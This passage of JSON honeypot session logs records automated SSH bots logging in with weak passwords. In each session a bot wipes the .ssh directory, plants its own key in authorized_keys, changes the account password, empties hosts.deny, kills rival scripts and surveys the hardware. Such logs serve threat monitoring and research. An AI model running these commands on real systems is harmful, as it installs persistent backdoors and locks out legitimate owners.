PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:00:05.339621+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:00:05.827760+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:00:06.562797+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:00:07.175225+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:00:07.901383+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:00:08.625148+00:00","kind":"output","latency_ms":null,"data":"azureuser"},{"seq":29,"at":"2026-08-27T12:00:09.578677+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:00:10.920390+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:00:11.646267+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:00:12.905656+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"azureuser","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"7fdbcea8-d5b0-44bc-bde7-8f0f9ea61396","name":"cosmic-subtle-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":54752,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:00:01.262277+00:00","ended_at":"2026-08-27T12:00:02.719823+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:59:34.994672+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:35.323660+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:59:39.101704+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:40.102798+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:40.432035+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IxzefPIQgiwK\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:59:40.758241+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:59:41.084394+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:41.886529+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:59:42.209856+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:59:42.537708+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:59:44.105166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:59:44.434506+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:59:46.198547+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:59:46.530042+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:59:47.483000+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:59:47.811637+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:59:49.656173+00:00","kind":"output","latency_ms":null,"data":" 11:59:49 up 7 days, 8:49, 0 user, load average: 0.32, 0.33, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:59:49.982892+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:59:52.117718+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:59:52.446010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:59:53.656550+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:59:53.984661+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:59:55.164680+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:55 up 7 days, 8:50, 0 user, load average: 0.32, 0.33, 0.37\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:59:55.493235+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:59:57.196516+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:59:57.524837+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:59:58.342025+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:59:58.669897+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:59:59.144699+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:59:59.471725+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:00:00.935477+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:00:01.262917+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:00:02.621646+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"11223311","method":"password","accepted":true,"tier":"other"}]} {"id":"e1fa51d8-9fef-4b9a-be27-f43984500b82","name":"granite-eager-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":56422,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:00:00.688825+00:00","ended_at":"2026-08-27T12:00:02.199792+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2201,"events":[{"seq":1,"at":"2026-08-27T11:59:43.923552+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:44.218934+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:59:47.491639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:48.146465+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:48.444283+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n2vwi1b7CMq2f\\n2vwi1b7CMq2f\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:59:48.744381+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n2vwi1b7CMq2f\\n2vwi1b7CMq2f\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:59:49.042358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:49.552137+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:59:49.847787+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:59:50.919970+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:59:51.217257+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:59:52.030118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:59:52.326505+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:59:53.069418+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:59:53.366135+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:59:54.106225+00:00","kind":"output","latency_ms":null,"data":" 11:59:54 up 7 days, 8:50, 0 user, load average: 0.3, 0.34, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:59:54.403156+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:59:54.779582+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:59:55.077392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:59:55.654806+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:59:55.949859+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:59:56.669346+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:56 up 7 days, 8:50, 0 user, load average: 0.3, 0.34, 0.33\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:59:56.965071+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:59:57.325655+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:59:57.620671+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:59:58.168219+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:59:58.463091+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:59:58.975128+00:00","kind":"output","latency_ms":null,"data":"camera"},{"seq":29,"at":"2026-08-27T11:59:59.271093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:00:00.390029+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:00:00.689586+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:00:02.113808+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"camera","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"fdc83405-d69b-4c4d-97a4-88a93d5b90cd","name":"foggy-hearty-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55200,"username":"ben","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":267,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:59:30.677901+00:00","ended_at":"2026-08-27T11:59:32.432505+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T11:59:04.223178+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:04.489658+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:59:08.176156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:09.255922+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:09.523843+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nZZ7Yg0DYIwrv\\nZZ7Yg0DYIwrv\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:59:09.788046+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nZZ7Yg0DYIwrv\\nZZ7Yg0DYIwrv\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:59:10.055021+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:11.003028+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:59:11.264152+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:59:11.268223+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:59:11.488825+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:59:13.053007+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:59:13.321554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:59:14.507956+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:59:14.777049+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:59:16.190149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:59:16.457526+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:59:18.461292+00:00","kind":"output","latency_ms":null,"data":" 11:59:18 up 7 days, 8:49, 0 user, load average: 0.25, 0.29, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:59:18.729101+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:59:19.661529+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:59:19.930272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:59:21.601633+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:59:21.880260+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:59:23.813432+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:23 up 7 days, 8:49, 0 user, load average: 0.25, 0.29, 0.2\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:59:24.082394+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:59:25.860050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:59:26.127158+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:59:27.706682+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:59:27.967371+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:59:28.789725+00:00","kind":"output","latency_ms":null,"data":"ben"},{"seq":31,"at":"2026-08-27T11:59:29.056902+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:59:30.412079+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:59:30.678683+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:59:32.355320+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ben","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"82b21af0-6317-4ca6-aa7a-7690d2eea1b4","name":"nautical-glassy-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59356,"username":"harsh","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":454,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:59:14.999710+00:00","ended_at":"2026-08-27T11:59:16.189008+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T11:58:53.799607+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:58:54.251581+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:58:58.782705+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:58:59.666389+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:00.119570+00:00","kind":"input","latency_ms":null,"data":"echo -e \"harsh@123\\nqtWfgqCZTh5o\\nqtWfgqCZTh5o\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:59:00.576407+00:00","kind":"input","latency_ms":null,"data":"echo \"harsh@123\\nqtWfgqCZTh5o\\nqtWfgqCZTh5o\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:59:01.032398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:01.357142+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:59:01.814066+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:59:02.646799+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:59:03.104098+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:59:04.014172+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:59:04.467535+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:59:05.141055+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:59:05.595560+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:59:06.198668+00:00","kind":"output","latency_ms":null,"data":" 11:59:06 up 7 days, 8:49, 0 user, load average: 0.22, 0.28, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:59:06.653738+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:59:07.163145+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:59:07.616490+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:59:08.292512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:59:08.748120+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:59:09.529168+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:09 up 7 days, 8:49, 0 user, load average: 0.22, 0.28, 0.17\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:59:09.980290+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:59:10.453819+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:59:10.908239+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:59:11.553457+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:59:12.010389+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:59:12.622572+00:00","kind":"output","latency_ms":null,"data":"harsh"},{"seq":29,"at":"2026-08-27T11:59:13.077773+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:59:14.547352+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:59:15.000490+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:59:16.049020+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"harsh","password":"harsh@123","method":"password","accepted":true,"tier":"other"}]} {"id":"2e00d555-5ed4-4392-8b86-81cdb972bf6e","name":"lonesome-sleepy-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":33432,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 